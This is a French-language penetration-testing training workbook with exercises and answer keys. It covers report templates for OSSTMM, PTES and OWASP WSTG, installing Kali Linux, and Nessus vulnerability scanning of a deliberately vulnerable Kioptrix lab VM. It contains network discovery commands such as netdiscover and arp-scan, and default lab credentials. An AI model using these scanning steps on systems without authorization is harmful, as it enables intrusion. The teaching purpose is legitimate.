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Dans ce module, vous allez :

PARTIE 1

DÉCOUVRIR LES MÉTHODOLOGIES DE TEST 
D’INTRUSION

• Préparer le plan pour d’un test d’intrusion 

• Préparer les templates de rapport 

• Comparer les méthodologies de test d’intrusion

7 heures



Compétences visées :

Recommandations clés :

ACTIVITÉ 1

Préparer un template de rapport pour 
OSSTMM

• Distinguer la méthodologie de test d’intrusion OSSTMM

• Préparer le plan d’un test d’intrusion basé sur OSSTMM

2 heures

• Connaître les principes et les étapes des 3 méthodologies 
(OSSTMM,PTES,OWASP(WSTG))



CONSIGNES

• Laisser à l’apprenant l’occasion de comprendre seul l’énoncé

• S’assurer de la bonne compréhension du contexte des méthodologies

• Discuter les réponses des apprenants avant de corriger

• Penser aux templates comme un document que vous utiliserez tout le temps

• Il n’y a pas de bonne ou mauvaise réponse.

• Le template pourra être amélioré tout au long de votre carrière

• Individuel ou par groupe (2 ou 3 maximum)

• Support de résumé théorique

• La suite Microsoft office installée sur le pc

• Les documents officiels des méthodologies :

✓ https://www.isecom.org/OSSTMMM.3.pdf

✓ https://github.com/OWASP(WSTG)/wstg/releases/download/v4.2/wstg-
v4.2.pdf

✓ https://buildmedia.readthedocs.org/media/pdf/pentest-
standard/latest/pentest-standard.pdf

• Distinguer les 3 méthodologies de test d’intrusion

• Avoir un template de rapport avec les étapes pour chaque méthodologie

Pour le formateur :

Pour l’apprenant :

Conditions de réalisation :

Critères de réussite :

https://www.isecom.org/OSSTMM.3.pdf
https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf
https://buildmedia.readthedocs.org/media/pdf/pentest-standard/latest/pentest-standard.pdf
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Activité 1
Préparer un template de rapport pour OSSTMM

• La première page du template doit contenir des champs pour les informations suivantes :

✓ Le nom de l’entreprise qui a réalisé le test d’intrusion

✓ Le nom de l’entreprise pour laquelle le test d’intrusion a été réalisée

✓ La date de livraison du rapport

✓ Les contacts de l’entreprise qui réalise le test d’intrusion

✓ La classification de confidentialité du document 

✓ La version du document

• La deuxième page sera consacrée à la table de contenu

• Dans la page suivante, il faut préciser les destinateurs et la propriété du document

• Il est recommandé d’utiliser l’entête pour le nom de votre entreprise et son log

• Le pied de page sera consacré aux numéros des pages

Étape 1 : Mise en forme
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Activité 1
Préparer un template de rapport pour OSSTMM

• Parmi les sections standards à intégrer dans votre template :

✓ Les contacts des pentesters qui ont réalisé le test d’intrusion ( adresse Email, numéro de téléphone, rôle)

✓ Une introduction sur le test d’intrusion réalisé avec les informations sur la période des tests, le type du test d’intrusion, la méthodologie suivie 

✓ Un rappel du standard utilisé pour la classification des vulnérabilités 

✓ Le cadre du test d’intrusion réalisé et l’environnement testé (les sous-réseaux, les applications, les produits, les services, production/recette, etc.)

• Une des sections standards parmi les plus importante est la section du résumé analytique. Cette section est surtout destinée au management et aux profils non

techniques. Dans cette section :

✓ Le résumé ne couvre pas les détails techniques ou la terminologie, mais l'aperçu des principaux résultats est expliqué en termes simples

✓ Le résumé doit être court, clair et bien formaté

✓ Le résumé préciser l’impact métier potentiel en cas d’exploitation des vulnérabilités trouvées

• Les principales forces et faiblesses : cette section mettra la lumière sur les vulnérabilités ou les mauvaises configurations fréquentes et aussi les pratiques et les

systèmes en place qui améliorent la sécurité de l’entreprise

• Un tableau de bord des vulnérabilités trouvées, leurs criticités et les recommandations

Étape 2 : sections standards
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Activité 1
Préparer un template de rapport pour OSSTMM

• Pour détailler le déroulé du test d’intrusion, il faut préparer des sections pour les étapes de la méthodologie OSSTMM

• Pour chaque étape de la méthodologie, il faut commencer par une introduction rappelant les objectifs de l’étape

Étape 3 : sections de la méthodologie
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Activité 1
Préparer un template de rapport pour OSSTMM

Réponses

Étape 1 : Mise en forme
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Activité 1
Préparer un template de rapport pour OSSTMM

Réponses

Étape 1 : Mise en forme
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Activité 1
Préparer un template de rapport pour OSSTMM

Réponses :

Exemple de résumé (management summary) :

La société …… a réalisé un test d’intrusion sur son système d’information. Le système nouvelle génération avec vérifiabilité universelle, qui n’est pas encore utilisé en

production, a été testé à cette occasion. L’objectif du test d’intrusion était de donner la possibilité à des spécialistes en informatique indépendants d’attaquer

délibérément le système et de tenter de le manipuler afin d’en vérifier la fiabilité. Les failles soumises sont évaluées, classées par niveau de gravité et éliminées en

fonction des risques. Les résultats de ce test d’intrusion seront intégrés au développement du système. Le test d’intrusion a été réalisé avec succès du 25 février au 24

mars 2019 avec la participation de 3 experts en cybersécurité. Au total, 173 failles ont été signalées. La plupart d’entre elles ont été invalidées (145) par l’entreprise

mandatée ou étaient des doublons (12). 16 failles ont été confirmées. Aucune des attaques n’est parvenue à compromettre l’intégrité du système ou de ses composants ni

à s’y introduire). Le test d’intrusion dans son intégralité a été réalisé sous la surveillance et la supervision de représentants de la société ….

Étape 2 : sections standards
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Activité 1
Préparer un template de rapport pour OSSTMM

Réponses

• Un tableau de bord des vulnérabilités trouvées, leurs criticités et les recommandations

Étape 2 : sections standards
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Activité 1
Préparer un template de rapport pour OSSTMM

Réponses

Pour les sections de la méthodologie, il faut rapport les étapes suivies pendant le test d’intrusion et les lier aux différentes étapes de la méthodologie suivie.

✓ Exemple :

Phase I : Réglementaire

Phase II : Définitions

Phase III : Phase d'information

Phase IV : Phase de test des commandes interactives

Étape 3 : sections de la méthodologie



Compétences visées :

Recommandations clés :

Activité 2

Préparer un template de rapport pour 
PTES

• Distinguer la méthodologie de test d’intrusion PTES

• Préparer le plan d’un test d’intrusion basé sur PTES

2 heures

• Connaître les principes et les étapes des 3 méthodologies 
(OSSTMM,PTES,OWASP(WSTG))



CONSIGNES

• Laisser à l’apprenant l’occasion de comprendre seul l’énoncé

• S’assurer de la bonne compréhension du contexte des méthodologies

• Discuter les réponses des apprenants avant de corriger

• Penser aux templates comme un document que vous utiliserez tout le temps

• Il n’y a pas de bonne ou mauvaise réponse.

• Le template pourra être amélioré tout au long de votre carrière

• Individuel ou par groupe (2 ou 3 maximum)

• Support de résumé théorique

• La suite Microsoft office installée sur le pc

• Les documents officiels des méthodologies :

✓ https://www.isecom.org/OSSTMMM.3.pdf

✓ https://github.com/OWASP(WSTG)/wstg/releases/download/v4.2/wstg-
v4.2.pdf

✓ https://buildmedia.readthedocs.org/media/pdf/pentest-
standard/latest/pentest-standard.pdf

• Distinguer les 3 méthodologies de test d’intrusion

• Avoir un template de rapport avec les étapes de la méthodologie

Pour le formateur :

Pour l’apprenant :

Conditions de réalisation :

Critères de réussite :

https://www.isecom.org/OSSTMM.3.pdf
https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf
https://buildmedia.readthedocs.org/media/pdf/pentest-standard/latest/pentest-standard.pdf
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Activité 2
Préparer un template de rapport pour PTES

• La première page du template doit contenir des champs pour les informations suivantes :

✓ Le nom de l’entreprise qui a réalisé le test d’intrusion

✓ Le nom de l’entreprise pour laquelle le test d’intrusion a été réalisée

✓ La date de livraison du rapport

✓ Les contacts de l’entreprise qui réalise le test d’intrusion

✓ La classification de confidentialité du document 

✓ La version du document

• La deuxième page sera consacrée à la table de contenu

• Dans la page suivante, il faut préciser les destinateurs et la propriété du document

• Il est recommandé d’utiliser l’entête pour le nom de votre entreprise et son log

• Le pied de page sera consacré aux numéros des pages

Étape 1 : Mise en forme
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Activité 2
Préparer un template de rapport pour PTES

• Parmi les sections standard à intégrer dans votre template :

✓ Les contacts des pentesters qui ont réalisé le test d’intrusion ( adresse Email, numéro de téléphone, rôle)

✓ Une introduction sur le test d’intrusion réalisé avec les informations sur la période des tests, le type du test d’intrusion, la méthodologie suivie 

✓ Un rappel du standard utilisé pour la classification des vulnérabilités

✓ Le cadre du test d’intrusion réalisé et l’environnement testé (les sous-réseaux, les applications, les produits, les services, production/recette, etc.)

• Une des sections standards parmi les plus importantes est la section du résumé. Cette section est surtout destinée au management et aux profils non techniques. Dans

cette section :

✓ Le résumé ne couvre pas les détails techniques ou la terminologie, mais l'aperçu des principaux résultats est expliqué en termes simples

✓ Le résumé doit être court, clair et bien formaté

✓ Le résumé préciser l’impact métier potentiel en cas d’exploitation des vulnérabilités trouvées

• Les principales forces et faiblesses : cette section mettra la lumière sur les vulnérabilités ou les mauvaises configurations fréquentes et aussi les pratiques et les systems

en place qui améliorent la sécurité de l’entreprise

• Un tableau de bord des vulnérabilités trouvées, leurs criticités et les recommandations

Étape 2 : sections standards
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Activité 2
Préparer un template de rapport pour PTES

• Pour détailler le déroulé du test d’intrusion, il faut préparer des sections pour les étapes de la méthodologie PTES

• Pour chaque étape de la méthodologie, il faut commencer par une introduction rappelant les objectifs de l’étape

Étape 2 : sections de la méthodologie
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Activité 2
Préparer un template de rapport pour PTES

Réponses

Étape 1 : Mise en forme
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Activité 2
Préparer un template de rapport pour PTES

Réponses

Étape 1 : Mise en forme
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Activité 2
Préparer un template de rapport pour PTES

Réponses

• Exemple de résumé (management summary) :

La société …… a réalisé un test d’intrusion sur son système d’information. Le système nouvelle génération avec vérifiabilité universelle, qui n’est pas encore utilisé en

production, a été testé à cette occasion. L’objectif du test d’intrusion était de donner la possibilité à des spécialistes en informatique indépendants d’attaquer

délibérément le système et de tenter de le manipuler afin d’en vérifier la fiabilité. Les failles soumises sont évaluées, classées par niveau de gravité et éliminées en

fonction des risques. Les résultats de ce test d’intrusion seront intégrés au développement du système. Le test d’intrusion a été réalisé avec succès du 25 février au 24

mars 2019 avec la participation de 3 experts en cybersécurité. Au total, 173 failles ont été signalées. La plupart d’entre elles ont été invalidées (145) par l’entreprise

mandatée ou étaient des doublons (12). 16 failles ont été confirmées. Aucune des attaques n’est parvenue à compromettre l’intégrité du système ou de ses composants ni

à s’y introduire). Le test d’intrusion dans son intégralité a été réalisé sous la surveillance et la supervision de représentants de la société ….

Étape 2 : sections standards
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Activité 2
Préparer un template de rapport pour PTES

Réponses

• Un tableau de bord des vulnérabilités trouvées, leurs criticités et les recommandations

Étape 2 : sections standards
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Activité 2
Préparer un template de rapport pour PTES

Réponses

Pour les sections de la méthodologie, il faut rapport les étapes suivies pendant le test d’intrusion et les lier aux différentes étapes de la méthodologie suivie.

✓ Exemple :

I. Interactions pré-engagement

II. La collecte de renseignements

III. Modélisation des menaces

IV. Analyse des vulnérabilités

V. Exploitation

VI. Post-exploitation

VII. Rapports

Étape 3 : sections de la méthodologie



Compétences visées :

Recommandations clés :

ACTIVITÉ 3

Préparer un template de rapport pour 
OWASP(WSTG)

• Distinguer la méthodologie de test d’intrusion OWASP(WSTG)

• Préparer le plan d’un test d’intrusion basé sur OWASP(WSTG)

2 heures

• Connaître les principes et les étapes des 3 méthodologies 
(OSSTMM,PTES,OWASP(WSTG))



CONSIGNES

• Laisser à l’apprenant l’occasion de comprendre seul l’énoncé

• S’assurer de la bonne compréhension du contexte des méthodologies

• Discuter les réponses des apprenants avant de corriger

• Penser aux templates comme un document que vous utiliserez tout le temps

• Il n’y a pas de bonne ou mauvaise réponse.

• Le template pourra être amélioré plus tard

• Individuel ou par groupes (2 ou 3 maximum)

• Support de résumé théorique

• La suite office installée sur le pc

• Les documents officiels des methodologies :

✓ https://www.isecom.org/OSSTMMM.3.pdf

✓ https://github.com/OWASP(WSTG)/wstg/releases/download/v4.2/wstg-
v4.2.pdf

✓ https://buildmedia.readthedocs.org/media/pdf/pentest-
standard/latest/pentest-standard.pdf

• Distinguer les 3 méthodologies de test d’intrusion

• Avoir un template de rapport avec les étapes de la méthodologie

Pour le formateur :

Pour l’apprenant :

Conditions de réalisation :

Critères de réussite :

https://www.isecom.org/OSSTMM.3.pdf
https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf
https://buildmedia.readthedocs.org/media/pdf/pentest-standard/latest/pentest-standard.pdf
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

• La première page du template doit contenir des champs pour les informations suivantes :

✓ Le nom de l’entreprise qui a réalisé le test d’intrusion

✓ Le nom de l’entreprise pour laquelle le test d’intrusion a été réalisée

✓ La date de livraison du rapport

✓ Les contacts de l’entreprise qui réalise le test d’intrusion

✓ La classification de confidentialité du document 

✓ La version du document

• La deuxième page sera consacrée à la table de contenu

• Dans la page suivante, il faut préciser les destinateurs et la propriété du document

• Il est recommandé d’utiliser l’entête pour le nom de votre entreprise et son log

• Le pied de page sera consacré aux numéros des pages

Étape 1 : Mise en forme
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

• Parmi les sections standard à intégrer dans votre template :

✓ Les contacts des pentesters qui ont réalisé le test d’intrusion ( adresse Email, numéro de téléphone, rôle)

✓ Une introduction sur le test d’intrusion réalisé avec les informations sur la période des tests, le type du test d’intrusion, la méthodologie suivie 

✓ Un rappel du standard utilisé pour la classification des vulnérabilités 

✓ Le cadre du test d’intrusion réalisé et l’environnement testé (les sous-réseaux, les applications, les produits, les services, production/recette, etc.)

• Une des sections standards parmi les plus importante est la section du résumé. Cette section est surtout destinée au management et aux profils non techniques. Dans

cette section :

✓ Le résumé ne couvre pas les détails techniques ou la terminologie, mais l'aperçu des principaux résultats est expliqué en termes simples

✓ Le résumé doit être court, clair et bien formaté

✓ Le résumé préciser l’impact métier potentiel en cas d’exploitation des vulnérabilités trouvées

• Les principales forces et faiblesses : cette section mettra la lumière sur les vulnérabilités ou les mauvaises configurations fréquentes et aussi les pratiques et les systems

en place qui améliorent la sécurité de l’entreprise

Étape 2 : sections standards
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

• Pour détailler le déroulé du test d’intrusion, il faut préparer des sections pour les étapes de la méthodologie OWASP(WSTG)

• Pour chaque étape de la méthodologie, il faut commencer par une introduction rappelant les objectifs de l’étape

Étape 2 : sections de la méthodologie
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

Réponses

Étape 1 : Mise en forme



31Copyright - Tout droit réservé - OFPPT

PA
R

TI
E 

1

Activité 3
Préparer un template de rapport pour OWASP(WSTG)

Réponses

Étape 1 : Mise en forme
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

Réponses

• Exemple de résumé (management summary) :

La société …… a réalisé un test d’intrusion sur son système d’information. Le système nouvelle génération avec vérifiabilité universelle, qui n’est pas encore utilisé en

production, a été testé à cette occasion. L’objectif du test d’intrusion était de donner la possibilité à des spécialistes en informatique indépendants d’attaquer

délibérément le système et de tenter de le manipuler afin d’en vérifier la fiabilité. Les failles soumises sont évaluées, classées par niveau de gravité et éliminées en

fonction des risques. Les résultats de ce test d’intrusion seront intégrés au développement du système. Le test d’intrusion a été réalisé avec succès du 25 février au 24

mars 2019 avec la participation de 3 experts en cybersécurité. Au total, 173 failles ont été signalées. La plupart d’entre elles ont été invalidées (145) par l’entreprise

mandatée ou étaient des doublons (12). 16 failles ont été confirmées. Aucune des attaques n’est parvenue à compromettre l’intégrité du système ou de ses composants ni

à s’y introduire. Le test d’intrusion dans son intégralité a été réalisé sous la surveillance et la supervision de représentants de la société ….

Étape 2 : sections standards
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

Réponses

• Un tableau de bord des vulnérabilités trouvées, leurs criticités et les recommandations :

Étape 2 : sections standards
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Activité 3
Préparer un template de rapport pour OWASP(WSTG)

Réponses

Pour les sections de la méthodologie, il faut faire le rapport des étapes suivies pendant le test d’intrusion et les lier aux différentes étapes de la méthodologie suivie.

✓ Exemple :

I. La collecte d'informations

II. Gestion de la configuration et du déploiement

III. Gestion des identités

IV. Autorisation

V. Authentification

VI. Gestion des sessions

VII. La validation des entrées

VIII. La gestion des erreurs

IX. Cryptographie

X. Logique métier

XI. Test côté client

Étape 3 : sections de la méthodologie



Compétences visées :

Recommandations clés :

ACTIVITÉ 4

Préparer un comparatif des 3 
méthodologies 

• Distinguer les méthodologies de test d’intrusion OSSTMM, 
PTES, OWASP(WSTG)

1 heure

• Connaître les principes et les étapes des 3 méthodologies 
(OSSTMM,PTES,OWASP(WSTG))



CONSIGNES

• Laisser à l’apprenant l’occasion de comprendre seul l’énoncé

• S’assurer de la bonne compréhension du contexte des méthodologies

• Discuter les réponses des apprenants avant de corriger

• Penser aux templates comme un document que vous utiliserez tout le temps

• Il n’y a pas de bonne ou mauvaise réponse

• Le template pourra être amélioré tout au long de votre carrière

• Individuel ou par groupe (2 ou 3 maximum)

• Support de résumé théorique

• La suite Microsoft office installée sur le pc

• Les documents officiels des méthodologies :

✓ https://www.isecom.org/OSSTMMM.3.pdf

✓ https://github.com/OWASP(WSTG)/wstg/releases/download/v4.2/wstg-
v4.2.pdf

✓ https://buildmedia.readthedocs.org/media/pdf/pentest-
standard/latest/pentest-standard.pdf

• Distinguer les 3 méthodologies de test d’intrusion

• Avoir un template de rapport avec les étapes pour chaque méthodologie

Pour le formateur

Pour l’apprenant

Conditions de réalisation :

Critères de réussite :

https://www.isecom.org/OSSTMM.3.pdf
https://github.com/OWASP/wstg/releases/download/v4.2/wstg-v4.2.pdf
https://buildmedia.readthedocs.org/media/pdf/pentest-standard/latest/pentest-standard.pdf
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Activité 4
Préparer un comparatif des 3 méthodologies

• Copier et remplir les tableaux suivants concernant les 3 méthodologies :

Comparatif des 3 méthodologies 

OSSTMM PTES OWASP(WSTG)

Cible de test d’intrusion

Type de test d’intrusion

Cadre de test d’intrusion

Détails des étapes

Méthodologie/checklist
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Activité 4
Préparer un comparatif des 3 méthodologies

Réponses

• Copier et remplir les tableaux suivants concernant les 3 méthodologies :

Comparatif des 3 méthodologies 

OSSTMM PTES OWASP(WSTG)

• Cible de test d’intrusion • Systèmes industriels • Système d’informations • Applications

• Type de test d’intrusion • Interne • Interne/externe • Interne/externe

• Cadre de test d’intrusion • Cadre large • Cadre large et moyen • Cadre très spécifique

• Détails des étapes • Étapes générales

d’encadrement

• Étapes spécifiques pour un

test d’intrusion standard

• Étapes très spécifiques et

détaillées

• Méthodologie/checklist • +Standard • +méthodologie • +checklist



Dans ce module, vous allez :

PARTIE 2

IDENTIFIER LES VULNÉRABILITÉS AU SEIN 
D’UN SYSTÈME D’INFORMATION

• Installer et utiliser Kali Linux

• Installer des scanners de vulnérabilités

• Configurer des scans de vulnérabilités 

• Écrire un script pour automatiser des scans 

18 heures



Compétences visées :

Recommandations clés :

ACTIVITÉ 1

INSTALLATION ET FAMILIARISATION AVEC 
KALI LINUX

• Utilisation de Kali Linux

• Gestion des outils et des paquets dans la distribution Kali Linux

5 heures

• Se référer au cours

• Se mettre dans le contexte de la problématique posée dans 
l’activité



CONSIGNES

• L’apprenant doit être capable d’installer Kali linux sur Vmware ou Virtual box

• Vérifier que l’apprenant comprend les commandes et la structure de Kali Linux

• Il est recommandé de connaître les bases de linux

• Il faut utiliser la syntaxe des commandes fournis au début de l’activité

• Il est également recommandé de suivre les étapes décrites dans l’énoncé

• VirtualBox installé

• Télécharger une machine VM Kali Linux sur le site suivant :      
https://www.kali.org/get-kali/#kali-platforms (Les démonstrations du TP seront 
réalisées avec une VM virtual box)

• Une machine Kali linux installée et à jour

• Capacité à faire des actions basiques sur Kali linux

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :

https://www.kali.org/get-kali/#kali-platforms
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Étape 1 : Télécharger une VM Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

• Nous recommandons dans ce TP d’utiliser une VMvirtual box 64-bit sur le site : https://www.kali.org/get-kali/#kali-platforms

https://www.kali.org/get-kali/#kali-platforms
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Exercices

1. Extraire le fichier 7.z téléchargé

2. Ouvrir le fichier .vbox avec VirtualBox

3. Lancer la machine kali linux et utiliser les identifiants kali/kali pour se connecter

4. Mettre à jour les paquets dans les repositories et upgrader les paquets installés

5. Redémarrer le service ssh et configurer ssh pour démarrer au démarrage de Kali Linux

6. Redémarrer le service http

7. Chercher l’outil crackmapexec et installer le

8. Changer le mot de passe de kali

9. Créer un nouvel utilisateur avec la première lettre de votre prénom et votre nom : ex : younes khallouki → ykhallouki

10. Donner à l’utilisateur créé les droits root ( les identifiants du compte root sont : root/kali)

11. Supprimer l’outil installé crackmapexec

12. Créer un dossier avec le nom : competence10

13. Dans le dossier compentence10, créer un fichier avec vos remarques sur le métier de pentester



44Copyright - Tout droit réservé - OFPPT

PA
R

TI
E 

2

Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

1. Extraire le fichier 7.z téléchargé

2. Ouvrir le fichier .vbox avec VirtualBox

3. Lancer la machine kali linux et utiliser les identifiants kali/kali pour se connecter
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Mettre à jour les paquets dans les repositories et upgrader les paquets installés
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Redémarrer le service ssh et configurer ssh pour démarrer au démarrage de Kali Linux

Redémarrer le service http
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Chercher l’outil crackmapexec et installer le
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Changer le mot de passe de kali

Créer un nouvel utilisateur avec la première lettre de votre prénom et votre nom : ex : younes khallouki → ykhallouki
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Supprimer l’outil installé crackmapexec
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Étape 2 : Installation sur Virtual Box et familiarisation avec Kali Linux

Activité 1
Installation et familiarisation avec Kali Linux

Réponses

Créer un dossier avec le nom : competence10

Dans le dossier compentence10, créer un fichier avec vos remarques sur le métier de pentester



Compétences visées :

Recommandations clés :

ACTIVITÉ 2

INSTALLATION ET CONFIGURATION DE 
NESSUS

• Utilisation de Nessus

• Connaître les types de scan

4 heures

• Se référer au cours

• Se mettre dans le contexte de la problématique posée dans 
l’activité



CONSIGNES

• L’apprenant doit être capable d’installer Nessus et naviguer dans la console

• Vérifier que l’apprenant comprend les résultats des scans

• Il est recommandé de connaître les principes des scanners de vulnérabilités

• L’objectif est de connaître les différents types de scans possibles

• Il est également recommandé de suivre les étapes décrites dans l’énoncé

• VirtualBox installé

• La VM Kali Linux installé

• Une VM vulnérable kioptrix : 
https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-
AFl02Q55IM/view?usp=sharing

• Nessus téléchargé : https://www.tenable.com/products/nessus/nessus-essentials

• Utilisation maitrisée de Kali Linux

• Compréhension minutieuse des outils et des rapports de scan

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :

https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-AFl02Q55IM/view?usp=sharing
https://www.tenable.com/products/nessus/nessus-essentials
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Étape 1 : télécharger nessus et création de compte 

Activité 1
Installation et configuration nessus

1. Visiter le site : https://www.tenable.com/products/nessus/nessus-essentials et créer un compte

2. Un code d’activation sera envoyé à l’adresse Email renseigné

3. Dans le mail envoyé, il y a aussi un lien pour télécharger Nessus

4. Télécharger le fichier Nessus-#.##.#-debian6_amd64.deb et Enregistrez-le dans votre dossier /downloads/

https://www.tenable.com/products/nessus/nessus-essentials
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Étape 2 : Installation et configuration

Activité 1
Installation et configuration nessus

Exercices

1. Après avoir téléchargé le fichier Nessus-#.##.#-debian6_amd64.deb, installer le sur votre machine Kali Linux

2. Démarrer le service Nessus

3. Ouvrir Firefox et accédez à l'URL suivante : https://localhost:8834/

4. Activer votre compte avec le code reçu par Email

5. Remplir les champs Nom d'utilisateur et Mot de passe.

6. Nessus va maintenant installer les plugins nécessaires à son fonctionnement. 

7. Vérifier que l’installation avance. Sinon, augmenter l’espace de votre VM

8. Utiliser les identifiants créés pour se connecter 

Exercices 

1. Télécharger la VM Kioptrix et l’importer dans virtual box 

2. Configurer Kioptrix pour être dans le même réseau NAT de kali Linux

3. Démarrer la machine Kioptrix 

4. Trouver l’ip de la machine Kioptrix et vérifier qu’elle est bien dans le sous-réseau de Kali Linux

https://localhost:8834/
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Étape 3 : se familiariser avec la console

Activité 1
Installation et configuration nessus

Exercices

Naviguer sur la console de Nessus et répondre à ces questions :

1. Comment s'appelle le bouton qui permet de lancer un scan ?

2. Quelle option de menu latéral nous permet de créer des templates personnalisés ?

3. Quel menu nous permet de changer les propriétés des plugins comme les cacher ou changer leur sévérité?

4. Dans la section 'Scan Templates' après avoir cliqué sur 'New Scan', quel scan nous permet de voir simplement quels hôtes sontactifs ?

5. L'un des types d'analyse les plus utiles, qui est considéré comme « adapté à n'importe quel hôte » ?

6. Quel scan vous permet de "vous authentifier auprès des hôtes et d'énumérer les mises à jour manquantes"?

7. Quel scan est spécifiquement utilisé pour analyser les applications Web ?



56Copyright - Tout droit réservé - OFPPT

PA
R

TI
E 

2

Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Exercices

1. Créer un nouveau scan « Basic network scan» ciblant la VM Kioptrix. Quelle option pouvons-nous préciser sous 'BASIC' (à gauche) pour définir une heure d'exécution

de cette analyse ? (Cela peut être très utile lorsque la congestion du réseau est un problème).

2. Sous 'DISCOVERY' (à gauche), définissez le 'Scan Type' pour couvrir les ports 1-65535. Comment s'appelle ce type ?

3. Quel "Type de numérisation" pouvons-nous changer sous « ADVANCED » pour une connexion à faible bande passante ?

4. Une fois ces options configurées, lancer le scan.

5. Une fois le scan terminé, pour quelle « vulnérabilité » dans la famille « Ports scanner » pouvons-nous afficher les détails pour voir les ports ouverts sur cet hôte ?

6. Lancer un scan web contre la VM kioptrix.

7. Quelle version du serveur HTTP Apache est signalée par Nessus ?

8. Quel est l'identifiant du plug-in du plug-in qui détermine le type et la version du serveur HTTP ?

9. Quel est le score et le nom des 3 vulnérabilités les plus critiques ?

10. Quels répertoires ont été découverts ?
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Étape 2 : Installation et configuration

Activité 1
Installation et configuration nessus

Réponses

Après avoir téléchargé le fichier Nessus-#.##.#-debian6_amd64.deb, installer le sur votre machine Kali Linux

Démarrer le service Nessus

• Ouvrir Firefox et accédez à l'URL suivante : https://localhost:8834/

• Activer votre compte avec le code reçu par Email

• Remplir les champs Nom d'utilisateur et Mot de passe

• Nessus va maintenant installer les plugins nécessaires à son fonctionnement

• Vérifier que l’installation avance. Sinon, augmenter l’espace de votre VM

https://localhost:8834/
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Étape 2 : Installation et configuration de nessus

Activité 1
Installation et configuration nessus

Réponses

Utiliser les identifiants créés pour se connecter 
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Étape 2 : Installation et configuration

Activité 1
Installation et configuration nessus

Réponses

• Télécharger la VM Kioptrix et l’importer dans virtual box 

• Configurer Kioptrix pour être dans le même réseau NAT de kali Linux

• Démarrer la machine Kioptrix 
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Étape 2 : Installation et configuration

Activité 1
Installation et configuration nessus

Réponses

Trouver l’ip de la machine Kioptrix et vérifier qu’elle est bien dans le sous-réseau de Kali Linux

Option 1 : Trouver le sous réseau de la machine Kali linux lancer la commande netdiscover contre le sous-réseau : exemple : sudo netdiscover –r 192.168.100.0/24

Option 2 : utiliser la commande sudo arp-scan –l

Dans notre cas, les 3 premières IPs ne sont pas l’IP de la machine kioptrix. L’ip de la machine Kioptrix est 192.168.100.9
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Étape 3 : se familiariser avec la console

Activité 1
Installation et configuration nessus

Réponses

1. Comment s'appelle le bouton qui permet de lancer un scan ?

New Scan

2. Quelle option de menu latéral nous permet de créer des templates personnalisés ?

Policies

3. Quel menu nous permet de changer les propriétés des plugins comme les cacher ou changer leur sévérité?

Plugin Rules

4. Dans la section 'Scan Templates' après avoir cliqué sur 'New Scan', quel scan nous permet de voir simplement quels hôtes sontactifs ?

Host Discovery

5. L'un des types d'analyse les plus utiles, qui est considéré comme « adapté à n'importe quel hôte » ?

Basic Network scan

6. Quel scan vous permet de "vous authentifier auprès des hôtes et d'énumérer les mises à jour manquantes"?

Credential patch audit

7. Quel scan est spécifiquement utilisée pour analyser les applications Web ?

Web application tests
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Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Réponses

1. Créer un nouveau scan « Basic network scan» ciblant la VM Kioptrix. Quelle option pouvons-nous définir sous 'BASIC' (à gauche) pour définir une heure d'exécution de

cette analyse ? Cela peut être très utile lorsque la congestion du réseau est un problème.

schedule

2. Sous 'DISCOVERY' (à gauche), définissez le 'Scan Type' pour couvrir les ports 1-65535. Comment s'appelle ce type ?

Port scan (all ports)

3. Quel "Type de scan" pouvons-nous changer sous »ADVANCED" pour une connexion à faible bande passante ?

Scan low bandwidth links

4. Une fois ces options configurées, lancer le scan.
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Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Réponses

Une fois le scan terminé, pour quelle « vulnérabilité » dans la famille « Ports scanner » pouvons-nous afficher les détails pour voir les ports ouverts sur cet hôte ?

nessus SYN scanner
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Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Réponses

Lancer un scan web contre la VM kioptrix.
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Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Réponses

Quelle version du serveur HTTP Apache est signalée par Nessus ?

1.3.20

Quel est l'identifiant du plug-in du plug-in qui détermine le type et 

la version du serveur HTTP ?

48204
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Étape 4 : lancement de scan

Activité 1
Installation et configuration nessus

Réponses

Quel est le score et le nom des 3 vulnérabilités les plus critiques ?

Quels répertoires ont été découverts ?

manual

manual/mod

manual/mod/mod_perl



Compétences visées :

Recommandations clés :

ACTIVITÉ 3

ÉCRITURE D’UN SCRIPT EN PYTHON

• Automatisation des tâches lors des tests d’intrusion

• Debug des scripts en Python

8 heures

• Connaissances des bases de Python 

• Connaissances des types de scan et des scripts nmap 



CONSIGNES

• Plusieurs scripts sont possibles pour répondre aux questions

• La recherche sur internet et l’utilisation de la documentation est un objectif

• Il est recommandé de connaitre les bases de la programmation de préférence avec
un langage de haut niveau comme Python

• Il faut utiliser la syntaxe des commandes fournies au début de l’activité

